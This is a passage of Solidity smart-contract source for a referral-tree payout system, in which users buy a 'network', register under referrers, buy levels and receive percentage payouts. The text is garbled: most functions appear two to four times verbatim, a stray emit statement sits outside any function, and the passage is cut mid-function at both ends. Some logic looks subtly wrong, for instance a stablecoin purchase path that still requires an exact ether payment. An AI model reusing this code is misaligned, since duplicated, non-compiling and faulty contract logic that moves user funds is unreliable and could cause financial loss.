uint256 amt = amount * validStableCoin[_coinAddress] / 100000000;
if(price == amt ) return true;
return false;
}
event BuynetworkEv(uint256 timeNow,address user,uint256 paidAmount,uint256 networkIDCount);
function BuyNetwork(address _coinAddress, uint256 amount) public payable returns(bool)
{
require(msg.value == networkPrice, "pls pay correct price");
require(_coinAddress == address(0) || validStableCoin[_coinAddress] > 0, "Invalid coin address");
networkIdCount++;
uint nID = networkIdCount;
if(_coinAddress != address(0))
{
require(checkAmount(amount,networkPrice, _coinAddress), "Invalid amount sent");
require(doTransaction(nID, msg.sender, address(this),amount,0,true,0), "amount tx fail");
}
else
{
require(msg.value == networkPrice, "Ivalid ether sent");
}
if(msg.value > 0 ) amount = msg.value;
networkId[msg.sender] = nID;
networkOwner[nID] = msg.sender;
coinAddress[nID] = _coinAddress;
pausenetwork[nID] = true;
require(doTransaction(nID, address(0), owner,amount,0,true,0), "amount tx fail");
emit BuynetworkEv(now, msg.sender, msg.value, networkIdCount);
}
function BuyNetwork(address _coinAddress, uint256 amount) public payable returns(bool)
{
require(msg.value == networkPrice, "pls pay correct price");
require(_coinAddress == address(0) || validStableCoin[_coinAddress] > 0, "Invalid coin address");
networkIdCount++;
uint nID = networkIdCount;
if(_coinAddress != address(0))
{
require(checkAmount(amount,networkPrice, _coinAddress), "Invalid amount sent");
require(doTransaction(nID, msg.sender, address(this),amount,0,true,0), "amount tx fail");
}
else
{
require(msg.value == networkPrice, "Ivalid ether sent");
}
if(msg.value > 0 ) amount = msg.value;
networkId[msg.sender] = nID;
networkOwner[nID] = msg.sender;
coinAddress[nID] = _coinAddress;
pausenetwork[nID] = true;
require(doTransaction(nID, address(0), owner,amount,0,true,0), "amount tx fail");
emit BuynetworkEv(now, msg.sender, msg.value, networkIdCount);
}
function BuyNetwork(address _coinAddress, uint256 amount) public payable returns(bool)
{
require(msg.value == networkPrice, "pls pay correct price");
require(_coinAddress == address(0) || validStableCoin[_coinAddress] > 0, "Invalid coin address");
networkIdCount++;
uint nID = networkIdCount;
if(_coinAddress != address(0))
{
require(checkAmount(amount,networkPrice, _coinAddress), "Invalid amount sent");
require(doTransaction(nID, msg.sender, address(this),amount,0,true,0), "amount tx fail");
}
else
{
require(msg.value == networkPrice, "Ivalid ether sent");
}
if(msg.value > 0 ) amount = msg.value;
networkId[msg.sender] = nID;
networkOwner[nID] = msg.sender;
coinAddress[nID] = _coinAddress;
pausenetwork[nID] = true;
require(doTransaction(nID, address(0), owner,amount,0,true,0), "amount tx fail");
emit BuynetworkEv(now, msg.sender, msg.value, networkIdCount);
}
event addEtherInPlanEv(uint256 timeNow, uint256 _networkId, bytes16 _name,uint128 _buyPrice,uint128 _planExpiry, uint8 _maxChild,bool _autoPlaceInTree,bool _allowJoinAgain, uint8 _etheroutPlanId,bool[] _triggerSubTree, bool _triggerExternalContract );
function addEtherInPlan(uint256 _networkId, bytes16 _name,uint128 _buyPrice,uint128 _planExpiry, uint8 _maxChild,bool _autoPlaceInTree,bool _allowJoinAgain, uint8 _etheroutPlanId,bool[] memory _triggerSubTree, bool _triggerExternalContract ) public returns(bool)
{
require(networkId[msg.sender] == _networkId,"Invalid caller");
require(_etheroutPlanId < etherOutPlans[_networkId].length, "please define required ether out plan first");
require(!goToPublic[_networkId], "network in function cannot change now");
require(_triggerSubTree.length == etherInPlans[_networkId][false].length, "Invalid _triggerSubTree count");
require(_buyPrice >= minPlanPrice, "plan price is less then minimum");
require(_planExpiry > 0, "plan expiry can not be 0");
require(checkTotalPercentage(_networkId,_etheroutPlanId,_triggerSubTree), "payout not matching 100% ");
if(etherInPlans[_networkId][true].length > 0) _autoPlaceInTree = true;
etherInPlan memory temp;
temp.name = _name;
temp.buyPrice = _buyPrice;
temp.planExpiry = _planExpiry;
temp.maxChild = _maxChild;
temp.autoPlaceInTree = _autoPlaceInTree;
temp.allowJoinAgain = _allowJoinAgain;
temp.etheroutPlanId = _etheroutPlanId;
temp.triggerSubTree = _triggerSubTree;
temp.triggerExternalContract = _triggerExternalContract;
etherInPlans[_networkId][true].push(temp);
emit addEtherInPlanEv(now, _networkId,_name,_buyPrice,_planExpiry, _maxChild,_autoPlaceInTree,_allowJoinAgain,_etheroutPlanId,_triggerSubTree,_triggerExternalContract );
return true;
}
function checkTotalPercentage(uint256 _networkId,uint8 _etheroutPlanId, bool[] memory _triggerSubTree) internal view returns(bool)
{
uint8 i;
uint totalPercent = payoutPercentageSum(_networkId, _etheroutPlanId) + platFormFeePercentage;
for(i=0;i<_triggerSubTree.length; i++)
{
if(_triggerSubTree[i]) totalPercent += payoutPercentageSum(_networkId, etherInPlans[_networkId][false][i].etheroutPlanId);
}
require(totalPercent == 100000000 + platFormFeePercentage, "payout sum is not 100 $");
return true;
}
event addSubTreePlanEv(uint256 timeNow, uint256 _networkId, bytes16 _name,uint128 _planExpiry, uint8 _maxChild,bool _allowJoinAgain, uint8 _etheroutPlanId,bool _triggerExternalContract );
function checkTotalPercentage(uint256 _networkId,uint8 _etheroutPlanId, bool[] memory _triggerSubTree) internal view returns(bool)
{
uint8 i;
uint totalPercent = payoutPercentageSum(_networkId, _etheroutPlanId) + platFormFeePercentage;
for(i=0;i<_triggerSubTree.length; i++)
{
if(_triggerSubTree[i]) totalPercent += payoutPercentageSum(_networkId, etherInPlans[_networkId][false][i].etheroutPlanId);
}
require(totalPercent == 100000000 + platFormFeePercentage, "payout sum is not 100 $");
return true;
}
event addSubTreePlanEv(uint256 timeNow, uint256 _networkId, bytes16 _name,uint128 _planExpiry, uint8 _maxChild,bool _allowJoinAgain, uint8 _etheroutPlanId,bool _triggerExternalContract );
function addSubTreePlan(uint256 _networkId, bytes16 _name,uint128 _planExpiry, uint8 _maxChild,bool _allowJoinAgain, uint8 _etheroutPlanId,bool _triggerExternalContract ) public returns(bool)
{
require(networkId[msg.sender] == _networkId,"Invalid caller");
require(_etheroutPlanId < etherOutPlans[_networkId].length, "please define required ether out plan first");
require(!goToPublic[_networkId], "network in function cannot change now");
require(_planExpiry > 0, "plan expiry can not be 0");
etherInPlan memory temp;
temp.name = _name;
temp.planExpiry = _planExpiry;
temp.maxChild = _maxChild;
temp.autoPlaceInTree = true;
temp.allowJoinAgain = _allowJoinAgain;
temp.etheroutPlanId = _etheroutPlanId;
temp.triggerExternalContract = _triggerExternalContract;
etherInPlans[_networkId][false].push(temp);
emit addSubTreePlanEv(now,_networkId,_name,_planExpiry,_maxChild,_allowJoinAgain,_etheroutPlanId,_triggerExternalContract );
return true;
}
event addEtherOutPlansEv(uint256 timeNow, uint256 _networkId, bytes16 _name,uint8[] _payoutType, uint32[] _payoutTo,uint32[] _payoutPercentage);
function addEtherOutPlans(uint256 _networkId, bytes16 _name,uint8[] memory _payoutType, uint32[] memory _payoutTo,uint32[] memory _payoutPercentage) public returns(bool)
{
require(networkId[msg.sender] == _networkId,"Invalid caller");
require(!goToPublic[_networkId], "network in function cannot change now");
require(_payoutType.length == _payoutTo.length && _payoutType.length == _payoutPercentage.length);
for(uint i=0;i<_payoutType.length;i++)
{
require(_payoutType[i] < 5, "_payoutTo should be 0 ~ 4 not more");
}
etherOutPlan memory temp;
temp.name = _name;
temp.payoutType = _payoutType;
temp.payoutTo = _payoutTo;
temp.payoutPercentage = _payoutPercentage;
etherOutPlans[_networkId].push(temp);
emit addEtherOutPlansEv(now,_networkId,_name,_payoutType,_payoutTo,_payoutPercentage);
return true;
}
event startMynetworkEv(uint256 timeNow, uint256 _networkId);
function addEtherOutPlans(uint256 _networkId, bytes16 _name,uint8[] memory _payoutType, uint32[] memory _payoutTo,uint32[] memory _payoutPercentage) public returns(bool)
{
require(networkId[msg.sender] == _networkId,"Invalid caller");
require(!goToPublic[_networkId], "network in function cannot change now");
require(_payoutType.length == _payoutTo.length && _payoutType.length == _payoutPercentage.length);
for(uint i=0;i<_payoutType.length;i++)
{
require(_payoutType[i] < 5, "_payoutTo should be 0 ~ 4 not more");
}
etherOutPlan memory temp;
temp.name = _name;
temp.payoutType = _payoutType;
temp.payoutTo = _payoutTo;
temp.payoutPercentage = _payoutPercentage;
etherOutPlans[_networkId].push(temp);
emit addEtherOutPlansEv(now,_networkId,_name,_payoutType,_payoutTo,_payoutPercentage);
return true;
}
event startMynetworkEv(uint256 timeNow, uint256 _networkId);
function startMynetwork(uint256 _networkId) public returns(bool)
{
require(!goToPublic[_networkId], "network in function cannot change now");
require(networkId[msg.sender] == _networkId,"Invalid caller");
uint256 len = etherInPlans[_networkId][true].length;
require(len > 0, "no etherInPlan defined");
for(uint8 i=0; i< len;i++)
{
etherInPlan memory temp;
temp = etherInPlans[_networkId][true][i];
require(_buyPlan(_networkId,i, msg.sender,0, 0, 0,temp, 0, true), "plan buy fail");
userInfos[_networkId][i][true][0].levelExpiry = 5745990791;
}
len = etherInPlans[_networkId][false].length;
require(len > 0, "no sub etherInPlan defined");
for(uint8 i=0; i< len;i++)
{
userInfos[_networkId][i][false][0].levelExpiry = 5745990791;
}
pausenetwork[_networkId] = false;
goToPublic[_networkId] = true;
return true;
}
event pauseReleaseMynetworkEv(uint256 timeNow, uint256 _networkId, bool pause);
function startMynetwork(uint256 _networkId) public returns(bool)
{
require(!goToPublic[_networkId], "network in function cannot change now");
require(networkId[msg.sender] == _networkId,"Invalid caller");
uint256 len = etherInPlans[_networkId][true].length;
require(len > 0, "no etherInPlan defined");
for(uint8 i=0; i< len;i++)
{
etherInPlan memory temp;
temp = etherInPlans[_networkId][true][i];
require(_buyPlan(_networkId,i, msg.sender,0, 0, 0,temp, 0, true), "plan buy fail");
userInfos[_networkId][i][true][0].levelExpiry = 5745990791;
}
len = etherInPlans[_networkId][false].length;
require(len > 0, "no sub etherInPlan defined");
for(uint8 i=0; i< len;i++)
{
userInfos[_networkId][i][false][0].levelExpiry = 5745990791;
}
pausenetwork[_networkId] = false;
goToPublic[_networkId] = true;
return true;
}
event pauseReleaseMynetworkEv(uint256 timeNow, uint256 _networkId, bool pause);
function startMynetwork(uint256 _networkId) public returns(bool)
{
require(!goToPublic[_networkId], "network in function cannot change now");
require(networkId[msg.sender] == _networkId,"Invalid caller");
uint256 len = etherInPlans[_networkId][true].length;
require(len > 0, "no etherInPlan defined");
for(uint8 i=0; i< len;i++)
{
etherInPlan memory temp;
temp = etherInPlans[_networkId][true][i];
require(_buyPlan(_networkId,i, msg.sender,0, 0, 0,temp, 0, true), "plan buy fail");
userInfos[_networkId][i][true][0].levelExpiry = 5745990791;
}
len = etherInPlans[_networkId][false].length;
require(len > 0, "no sub etherInPlan defined");
for(uint8 i=0; i< len;i++)
{
userInfos[_networkId][i][false][0].levelExpiry = 5745990791;
}
pausenetwork[_networkId] = false;
goToPublic[_networkId] = true;
return true;
}
event pauseReleaseMynetworkEv(uint256 timeNow, uint256 _networkId, bool pause);
emit startMynetworkEv(now,_networkId);
function pauseReleaseMynetwork(uint256 _networkId, bool pause) public returns(bool)
{
require(networkId[msg.sender] == _networkId);
pausenetwork[_networkId]= pause;
emit pauseReleaseMynetworkEv(now, _networkId, pause);
return true;
}
event regUserEv(uint timeNow, uint256 _networkId,uint8 _planIndex, address payable _user,uint32 _userId, uint32 _referrerId, uint32 _parentId, uint256 amount);
function regUser(uint256 _networkId,uint32 _referrerId,uint32 _parentId, uint256 amount) public payable returns(bool)
{
require(msg.sender != address(0), "invalid sender" );
require(!pausenetwork[_networkId] && goToPublic[_networkId], "not ready or paused by admin");
require(_networkId <= networkIdCount && _networkId > 0, "invalid network id" );
require(userInfos[_networkId][0][true].length > _referrerId,"_referrerId not exist");
address _coinAddress = coinAddress[_networkId];
etherInPlan memory temp;
temp = etherInPlans[_networkId][true][0];
if(_coinAddress != address(0))
{
require(checkAmount(amount,temp.buyPrice, _coinAddress), "Invalid amount sent");
require(doTransaction(_networkId, msg.sender, address(this),amount,0,true,0), "amount tx fail");
}
else
{
require(msg.value == temp.buyPrice, "Ivalid ether sent");
}
if(!temp.allowJoinAgain )
{
require(userIndex[_networkId][0][true][msg.sender].length == 0, "user already joined");
}
require(_buyPlan(_networkId,0, msg.sender,0, _referrerId, _parentId,temp, amount, true), "plan buy fail");
emit regUserEv(now, _networkId,0,msg.sender,0,_referrerId,_parentId,amount);
return true;
}
function regUser(uint256 _networkId,uint32 _referrerId,uint32 _parentId, uint256 amount) public payable returns(bool)
{
require(msg.sender != address(0), "invalid sender" );
require(!pausenetwork[_networkId] && goToPublic[_networkId], "not ready or paused by admin");
require(_networkId <= networkIdCount && _networkId > 0, "invalid network id" );
require(userInfos[_networkId][0][true].length > _referrerId,"_referrerId not exist");
address _coinAddress = coinAddress[_networkId];
etherInPlan memory temp;
temp = etherInPlans[_networkId][true][0];
if(_coinAddress != address(0))
{
require(checkAmount(amount,temp.buyPrice, _coinAddress), "Invalid amount sent");
require(doTransaction(_networkId, msg.sender, address(this),amount,0,true,0), "amount tx fail");
}
else
{
require(msg.value == temp.buyPrice, "Ivalid ether sent");
}
if(!temp.allowJoinAgain )
{
require(userIndex[_networkId][0][true][msg.sender].length == 0, "user already joined");
}
require(_buyPlan(_networkId,0, msg.sender,0, _referrerId, _parentId,temp, amount, true), "plan buy fail");
emit regUserEv(now, _networkId,0,msg.sender,0,_referrerId,_parentId,amount);
return true;
}
function regUser(uint256 _networkId,uint32 _referrerId,uint32 _parentId, uint256 amount) public payable returns(bool)
{
require(msg.sender != address(0), "invalid sender" );
require(!pausenetwork[_networkId] && goToPublic[_networkId], "not ready or paused by admin");
require(_networkId <= networkIdCount && _networkId > 0, "invalid network id" );
require(userInfos[_networkId][0][true].length > _referrerId,"_referrerId not exist");
address _coinAddress = coinAddress[_networkId];
etherInPlan memory temp;
temp = etherInPlans[_networkId][true][0];
if(_coinAddress != address(0))
{
require(checkAmount(amount,temp.buyPrice, _coinAddress), "Invalid amount sent");
require(doTransaction(_networkId, msg.sender, address(this),amount,0,true,0), "amount tx fail");
}
else
{
require(msg.value == temp.buyPrice, "Ivalid ether sent");
}
if(!temp.allowJoinAgain )
{
require(userIndex[_networkId][0][true][msg.sender].length == 0, "user already joined");
}
require(_buyPlan(_networkId,0, msg.sender,0, _referrerId, _parentId,temp, amount, true), "plan buy fail");
emit regUserEv(now, _networkId,0,msg.sender,0,_referrerId,_parentId,amount);
return true;
}
function regUser(uint256 _networkId,uint32 _referrerId,uint32 _parentId, uint256 amount) public payable returns(bool)
{
require(msg.sender != address(0), "invalid sender" );
require(!pausenetwork[_networkId] && goToPublic[_networkId], "not ready or paused by admin");
require(_networkId <= networkIdCount && _networkId > 0, "invalid network id" );
require(userInfos[_networkId][0][true].length > _referrerId,"_referrerId not exist");
address _coinAddress = coinAddress[_networkId];
etherInPlan memory temp;
temp = etherInPlans[_networkId][true][0];
if(_coinAddress != address(0))
{
require(checkAmount(amount,temp.buyPrice, _coinAddress), "Invalid amount sent");
require(doTransaction(_networkId, msg.sender, address(this),amount,0,true,0), "amount tx fail");
}
else
{
require(msg.value == temp.buyPrice, "Ivalid ether sent");
}
if(!temp.allowJoinAgain )
{
require(userIndex[_networkId][0][true][msg.sender].length == 0, "user already joined");
}
require(_buyPlan(_networkId,0, msg.sender,0, _referrerId, _parentId,temp, amount, true), "plan buy fail");
emit regUserEv(now, _networkId,0,msg.sender,0,_referrerId,_parentId,amount);
return true;
}
event buyLevelEv(uint256 _networkId,uint8 _planIndex,uint32 _userId,uint256 amount);
function buyLevel(uint256 _networkId,uint8 _planIndex, uint32 _userId, uint256 amount) public payable returns(bool)
{
require(msg.sender != address(0), "invalid sender" );
require(!pausenetwork[_networkId] && goToPublic[_networkId], "not ready or paused by admin");
require(_networkId <= networkIdCount && _networkId > 0, "invalid network id" );
require(_planIndex < etherInPlans[_networkId][true].length && _planIndex > 0, "invalid planIndex");
require(_userId < userInfos[_networkId][_planIndex][true].length, "Invalid user id");
require(_planIndex == userInfos[_networkId][_planIndex -1][true][_userId].lastBoughtLevel ,"pls buy previous plan first");
require(checkUserId(_networkId,0,true,msg.sender,_userId ),"_userId not found in entry plan");
address _coinAddress = coinAddress[_networkId];
etherInPlan memory temp;
temp = etherInPlans[_networkId][true][_planIndex];
if(_coinAddress != address(0))
{
require(checkAmount(amount,temp.buyPrice, _coinAddress), "Invalid amount sent");
require(doTransaction(_networkId, msg.sender, address(this),amount,0,true,0), "amount tx fail");
}
else
{
require(msg.value == temp.buyPrice, "Ivalid ether sent");
}
if(!temp.allowJoinAgain )
{
require(userIndex[_networkId][_planIndex][true][msg.sender].length == 0, "already bought this level");
}
require(_buyPlan(_networkId,_planIndex,msg.sender,_userId, 0, 0,temp, amount, true), "plan buy fail");
emit buyLevelEv(_networkId,_planIndex,_userId,amount);
return true;
}
event _subTreePlanEv(uint256 timeNow, uint256 _networkId,uint8 _planIndex, address payable _user,uint32 _userId, uint32 _referrerId, uint32 _parentId, uint256 _paidAmount);
event _buyPlanEv(uint256 timeNow, uint256 _networkId,uint8 _planIndex,uint32 _userId, uint32 _referrerId, uint32 _parentId, uint256 _paidAmount);
function buyLevel(uint256 _networkId,uint8 _planIndex, uint32 _userId, uint256 amount) public payable returns(bool)
{
require(msg.sender != address(0), "invalid sender" );
require(!pausenetwork[_networkId] && goToPublic[_networkId], "not ready or paused by admin");
require(_networkId <= networkIdCount && _networkId > 0, "invalid network id" );
require(_planIndex < etherInPlans[_networkId][true].length && _planIndex > 0, "invalid planIndex");
require(_userId < userInfos[_networkId][_planIndex][true].length, "Invalid user id");
require(_planIndex == userInfos[_networkId][_planIndex -1][true][_userId].lastBoughtLevel ,"pls buy previous plan first");
require(checkUserId(_networkId,0,true,msg.sender,_userId ),"_userId not found in entry plan");
address _coinAddress = coinAddress[_networkId];
etherInPlan memory temp;
temp = etherInPlans[_networkId][true][_planIndex];
if(_coinAddress != address(0))
{
require(checkAmount(amount,temp.buyPrice, _coinAddress), "Invalid amount sent");
require(doTransaction(_networkId, msg.sender, address(this),amount,0,true,0), "amount tx fail");
}
else
{
require(msg.value == temp.buyPrice, "Ivalid ether sent");
}
if(!temp.allowJoinAgain )
{
require(userIndex[_networkId][_planIndex][true][msg.sender].length == 0, "already bought this level");
}
require(_buyPlan(_networkId,_planIndex,msg.sender,_userId, 0, 0,temp, amount, true), "plan buy fail");
emit buyLevelEv(_networkId,_planIndex,_userId,amount);
return true;
}
event _subTreePlanEv(uint256 timeNow, uint256 _networkId,uint8 _planIndex, address payable _user,uint32 _userId, uint32 _referrerId, uint32 _parentId, uint256 _paidAmount);
event _buyPlanEv(uint256 timeNow, uint256 _networkId,uint8 _planIndex,uint32 _userId, uint32 _referrerId, uint32 _parentId, uint256 _paidAmount);
function buyLevel(uint256 _networkId,uint8 _planIndex, uint32 _userId, uint256 amount) public payable returns(bool)
{
require(msg.sender != address(0), "invalid sender" );
require(!pausenetwork[_networkId] && goToPublic[_networkId], "not ready or paused by admin");
require(_networkId <= networkIdCount && _networkId > 0, "invalid network id" );
require(_planIndex < etherInPlans[_networkId][true].length && _planIndex > 0, "invalid planIndex");
require(_userId < userInfos[_networkId][_planIndex][true].length, "Invalid user id");
require(_planIndex == userInfos[_networkId][_planIndex -1][true][_userId].lastBoughtLevel ,"pls buy previous plan first");
require(checkUserId(_networkId,0,true,msg.sender,_userId ),"_userId not found in entry plan");
address _coinAddress = coinAddress[_networkId];
etherInPlan memory temp;
temp = etherInPlans[_networkId][true][_planIndex];
if(_coinAddress != address(0))
{
require(checkAmount(amount,temp.buyPrice, _coinAddress), "Invalid amount sent");
require(doTransaction(_networkId, msg.sender, address(this),amount,0,true,0), "amount tx fail");
}
else
{
require(msg.value == temp.buyPrice, "Ivalid ether sent");
}
if(!temp.allowJoinAgain )
{
require(userIndex[_networkId][_planIndex][true][msg.sender].length == 0, "already bought this level");
}
require(_buyPlan(_networkId,_planIndex,msg.sender,_userId, 0, 0,temp, amount, true), "plan buy fail");
emit buyLevelEv(_networkId,_planIndex,_userId,amount);
return true;
}
event _subTreePlanEv(uint256 timeNow, uint256 _networkId,uint8 _planIndex, address payable _user,uint32 _userId, uint32 _referrerId, uint32 _parentId, uint256 _paidAmount);
event _buyPlanEv(uint256 timeNow, uint256 _networkId,uint8 _planIndex,uint32 _userId, uint32 _referrerId, uint32 _parentId, uint256 _paidAmount);
function buyLevel(uint256 _networkId,uint8 _planIndex, uint32 _userId, uint256 amount) public payable returns(bool)
{
require(msg.sender != address(0), "invalid sender" );
require(!pausenetwork[_networkId] && goToPublic[_networkId], "not ready or paused by admin");
require(_networkId <= networkIdCount && _networkId > 0, "invalid network id" );
require(_planIndex < etherInPlans[_networkId][true].length && _planIndex > 0, "invalid planIndex");
require(_userId < userInfos[_networkId][_planIndex][true].length, "Invalid user id");
require(_planIndex == userInfos[_networkId][_planIndex -1][true][_userId].lastBoughtLevel ,"pls buy previous plan first");
require(checkUserId(_networkId,0,true,msg.sender,_userId ),"_userId not found in entry plan");
address _coinAddress = coinAddress[_networkId];
etherInPlan memory temp;
temp = etherInPlans[_networkId][true][_planIndex];
if(_coinAddress != address(0))
{
require(checkAmount(amount,temp.buyPrice, _coinAddress), "Invalid amount sent");
require(doTransaction(_networkId, msg.sender, address(this),amount,0,true,0), "amount tx fail");
}
else
{
require(msg.value == temp.buyPrice, "Ivalid ether sent");
}
if(!temp.allowJoinAgain )
{
require(userIndex[_networkId][_planIndex][true][msg.sender].length == 0, "already bought this level");
}
require(_buyPlan(_networkId,_planIndex,msg.sender,_userId, 0, 0,temp, amount, true), "plan buy fail");
emit buyLevelEv(_networkId,_planIndex,_userId,amount);
return true;
}
event _subTreePlanEv(uint256 timeNow, uint256 _networkId,uint8 _planIndex, address payable _user,uint32 _userId, uint32 _referrerId, uint32 _parentId, uint256 _paidAmount);
event _buyPlanEv(uint256 timeNow, uint256 _networkId,uint8 _planIndex,uint32 _userId, uint32 _referrerId, uint32 _parentId, uint256 _paidAmount);
function _buyPlan(uint256 _networkId,uint8 _planIndex, address payable _user,uint32 _userId, uint32 _referrerId, uint32 _parentId, etherInPlan memory _temp, uint256 _paidAmount, bool mainTree) internal returns(bool)
{
uint256 lastId = userInfos[_networkId][_planIndex][mainTree].length ;
{
if(_temp.autoPlaceInTree)
{
if(userInfos[_networkId][_planIndex][true][_parentId].childCount == _temp.maxChild) etherInPlans[_networkId][mainTree][_planIndex].nextBlankSlot++;
_parentId = etherInPlans[_networkId][mainTree][_planIndex].nextBlankSlot;
_referrerId = _parentId;
}
else
{
if(_parentId == 0 && userInfos[_networkId][_planIndex][true].length > 0 )
{
_parentId = findBlankSlot(_networkId,0,_referrerId,mainTree, _temp.maxChild);
}
else
{
require(userInfos[_networkId][_planIndex][true][_parentId].childCount < _temp.maxChild,"Invalid _parent Id");
}
}
_userId = processTree(_networkId,_planIndex,_user,_referrerId,_parentId,true);
}
if(lastId > 0 )
{
lastId--;
if(mainTree)require(payPlatformCharge(_networkId, _paidAmount), "fail deducting platform charge");
emit processPayOutEv(_networkId,_planIndex,_userId,_paidAmount,mainTree);
_paidAmount = _paidAmount - _paidAmount * platFormFeePercentage / 100000000;
payInput memory payIn;
payIn._networkId = _networkId;
payIn._planIndex = _planIndex;
payIn._userId = _userId;
payIn._paidAmount = _paidAmount;
payIn.mainTree = mainTree;
require(processPayOut(payIn),"payout failed");
}
etherInPlan memory _temp2;
if(mainTree)
{
for(uint8 i=0;i<_temp.triggerSubTree.length;i++)
{
if(_temp.triggerSubTree[i])
{
_temp2 = etherInPlans[_networkId][false][_planIndex];
require(_buyPlan(_networkId,_planIndex,msg.sender, _userId, 0, 0,_temp2, _paidAmount, false), "sub tree call fail");
emit _subTreePlanEv(now,_networkId,_planIndex,_user,_userId,_referrerId,_parentId,_paidAmount);
}
}
}
if(_temp.triggerExternalContract) externalInterface(externalContract[_networkId]).processExternalMain(_networkId,_planIndex,_user,_userId,_referrerId,_parentId,_paidAmount,mainTree);
emit _buyPlanEv(now,_networkId,_planIndex,_userId,_referrerId,_parentId,_paidAmount);
return true;
}
event processTreeEv(uint128 levelExpiry,uint256 networkID,uint8 planIndex,address user,uint32 referrerId,uint32 parentId,uint256 userId,bool treeType);
function _buyPlan(uint256 _networkId,uint8 _planIndex, address payable _user,uint32 _userId, uint32 _referrerId, uint32 _parentId, etherInPlan memory _temp, uint256 _paidAmount, bool mainTree) internal returns(bool)
{
uint256 lastId = userInfos[_networkId][_planIndex][mainTree].length ;
{
if(_temp.autoPlaceInTree)
{
if(userInfos[_networkId][_planIndex][true][_parentId].childCount == _temp.maxChild) etherInPlans[_networkId][mainTree][_planIndex].nextBlankSlot++;
_parentId = etherInPlans[_networkId][mainTree][_planIndex].nextBlankSlot;
_referrerId = _parentId;
}
else
{
if(_parentId == 0 && userInfos[_networkId][_planIndex][true].length > 0 )
{
_parentId = findBlankSlot(_networkId,0,_referrerId,mainTree, _temp.maxChild);
}
else
{
require(userInfos[_networkId][_planIndex][true][_parentId].childCount < _temp.maxChild,"Invalid _parent Id");
}
}
_userId = processTree(_networkId,_planIndex,_user,_referrerId,_parentId,true);
}
if(lastId > 0 )
{
lastId--;
if(mainTree)require(payPlatformCharge(_networkId, _paidAmount), "fail deducting platform charge");
emit processPayOutEv(_networkId,_planIndex,_userId,_paidAmount,mainTree);
_paidAmount = _paidAmount - _paidAmount * platFormFeePercentage / 100000000;
payInput memory payIn;
payIn._networkId = _networkId;
payIn._planIndex = _planIndex;
payIn._userId = _userId;
payIn._paidAmount = _paidAmount;
payIn.mainTree = mainTree;
require(processPayOut(payIn),"payout failed");
}
etherInPlan memory _temp2;
if(mainTree)
{
for(uint8 i=0;i<_temp.triggerSubTree.length;i++)
{
if(_temp.triggerSubTree[i])
{
_temp2 = etherInPlans[_networkId][false][_planIndex];
require(_buyPlan(_networkId,_planIndex,msg.sender, _userId, 0, 0,_temp2, _paidAmount, false), "sub tree call fail");
emit _subTreePlanEv(now,_networkId,_planIndex,_user,_userId,_referrerId,_parentId,_paidAmount);
}
}
}
if(_temp.triggerExternalContract) externalInterface(externalContract[_networkId]).processExternalMain(_networkId,_planIndex,_user,_userId,_referrerId,_parentId,_paidAmount,mainTree);
emit _buyPlanEv(now,_networkId,_planIndex,_userId,_referrerId,_parentId,_paidAmount);
return true;
}
event processTreeEv(uint128 levelExpiry,uint256 networkID,uint8 planIndex,address user,uint32 referrerId,uint32 parentId,uint256 userId,bool treeType);
function _buyPlan(uint256 _networkId,uint8 _planIndex, address payable _user,uint32 _userId, uint32 _referrerId, uint32 _parentId, etherInPlan memory _temp, uint256 _paidAmount, bool mainTree) internal returns(bool)
{
uint256 lastId = userInfos[_networkId][_planIndex][mainTree].length ;
{
if(_temp.autoPlaceInTree)
{
if(userInfos[_networkId][_planIndex][true][_parentId].childCount == _temp.maxChild) etherInPlans[_networkId][mainTree][_planIndex].nextBlankSlot++;
_parentId = etherInPlans[_networkId][mainTree][_planIndex].nextBlankSlot;
_referrerId = _parentId;
}
else
{
if(_parentId == 0 && userInfos[_networkId][_planIndex][true].length > 0 )
{
_parentId = findBlankSlot(_networkId,0,_referrerId,mainTree, _temp.maxChild);
}
else
{
require(userInfos[_networkId][_planIndex][true][_parentId].childCount < _temp.maxChild,"Invalid _parent Id");
}
}
_userId = processTree(_networkId,_planIndex,_user,_referrerId,_parentId,true);
}
if(lastId > 0 )
{
lastId--;
if(mainTree)require(payPlatformCharge(_networkId, _paidAmount), "fail deducting platform charge");
emit processPayOutEv(_networkId,_planIndex,_userId,_paidAmount,mainTree);
_paidAmount = _paidAmount - _paidAmount * platFormFeePercentage / 100000000;
payInput memory payIn;
payIn._networkId = _networkId;
payIn._planIndex = _planIndex;
payIn._userId = _userId;
payIn._paidAmount = _paidAmount;
payIn.mainTree = mainTree;
require(processPayOut(payIn),"payout failed");
}
etherInPlan memory _temp2;
if(mainTree)
{
for(uint8 i=0;i<_temp.triggerSubTree.length;i++)
{
if(_temp.triggerSubTree[i])
{
_temp2 = etherInPlans[_networkId][false][_planIndex];
require(_buyPlan(_networkId,_planIndex,msg.sender, _userId, 0, 0,_temp2, _paidAmount, false), "sub tree call fail");
emit _subTreePlanEv(now,_networkId,_planIndex,_user,_userId,_referrerId,_parentId,_paidAmount);
}
}
}
if(_temp.triggerExternalContract) externalInterface(externalContract[_networkId]).processExternalMain(_networkId,_planIndex,_user,_userId,_referrerId,_parentId,_paidAmount,mainTree);
emit _buyPlanEv(now,_networkId,_planIndex,_userId,_referrerId,_parentId,_paidAmount);
return true;
}
event processTreeEv(uint128 levelExpiry,uint256 networkID,uint8 planIndex,address user,uint32 referrerId,uint32 parentId,uint256 userId,bool treeType);
function _buyPlan(uint256 _networkId,uint8 _planIndex, address payable _user,uint32 _userId, uint32 _referrerId, uint32 _parentId, etherInPlan memory _temp, uint256 _paidAmount, bool mainTree) internal returns(bool)
{
uint256 lastId = userInfos[_networkId][_planIndex][mainTree].length ;
{
if(_temp.autoPlaceInTree)
{
if(userInfos[_networkId][_planIndex][true][_parentId].childCount == _temp.maxChild) etherInPlans[_networkId][mainTree][_planIndex].nextBlankSlot++;
_parentId = etherInPlans[_networkId][mainTree][_planIndex].nextBlankSlot;
_referrerId = _parentId;
}
else
{
if(_parentId == 0 && userInfos[_networkId][_planIndex][true].length > 0 )
{
_parentId = findBlankSlot(_networkId,0,_referrerId,mainTree, _temp.maxChild);
}
else
{
require(userInfos[_networkId][_planIndex][true][_parentId].childCount < _temp.maxChild,"Invalid _parent Id");
}
}
_userId = processTree(_networkId,_planIndex,_user,_referrerId,_parentId,true);
}
if(lastId > 0 )
{
lastId--;
if(mainTree)require(payPlatformCharge(_networkId, _paidAmount), "fail deducting platform charge");
emit processPayOutEv(_networkId,_planIndex,_userId,_paidAmount,mainTree);
_paidAmount = _paidAmount - _paidAmount * platFormFeePercentage / 100000000;
payInput memory payIn;
payIn._networkId = _networkId;
